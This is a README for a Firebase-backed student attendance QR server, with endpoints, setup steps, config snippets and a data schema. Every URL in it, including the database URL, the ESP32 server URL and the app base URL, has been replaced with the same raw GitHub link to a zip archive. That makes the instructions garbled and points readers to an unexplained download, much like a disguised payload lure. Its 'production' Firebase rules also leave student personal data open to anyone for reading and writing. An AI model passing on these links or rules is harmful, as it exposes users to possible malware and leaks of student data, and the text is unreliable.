Backend server for the Student Attendance QR System using Firebase Realtime Database.
- Firebase Realtime Database for persistent cloud storage
- No data loss on server restart
- Real-time sync capabilities
- Free tier with generous limits
Production URL: https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip
Deployed on https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip with auto-deploy from GitHub.
| Endpoint | Method | Description |
|---|---|---|
/api/health |
GET | Health check |
/api/scan |
POST | Process QR code scan |
/api/users |
POST | Register/update user |
/api/users/:email |
GET | Get user by email |
/api/all-users |
GET | Get all users |
/api/history/:email |
GET | Get scan history |
/api/attendance/:email |
GET | Get attendance records |
/api/all-attendance |
GET | Get all attendance |
/api/sync |
POST | Bulk sync data |
Set these in Render dashboard:
| Key | Value |
|---|---|
PORT |
8080 |
FIREBASE_DATABASE_URL |
https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip |
-
Install dependencies:
npm install
-
Create
.envfile:PORT=8080 https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip -
Start server:
npm start
-
Test health endpoint:
http://localhost:8080/api/health
Update your ESP32 code to use:
const char* SERVER_URL = "https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip";Update https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip:
static const String baseUrl = 'https://raw.githubusercontent.com/Marco222690/thisapp-backend/main/throughgrow/thisapp_backend_3.0.zip';Current rules are open for testing. For production, update Firebase rules:
{
"rules": {
"users": {
".read": true,
".write": true
},
"attendance": {
".read": true,
".write": true
},
"scan_history": {
".read": true,
".write": true
}
}
}/users/{email_key}
- email
- name
- grade_section
- lrn
- adviser
- contact_number
- schedule
- qr_code_in
- qr_code_out
- created_at
/attendance/{email_date_type}
- user_email
- date
- scan_time
- status
- qr_type
- created_at
/scan_history/{auto_id}
- user_email
- qr_code
- qr_type
- scan_time
- status
- message
- created_at
Last updated: February 2026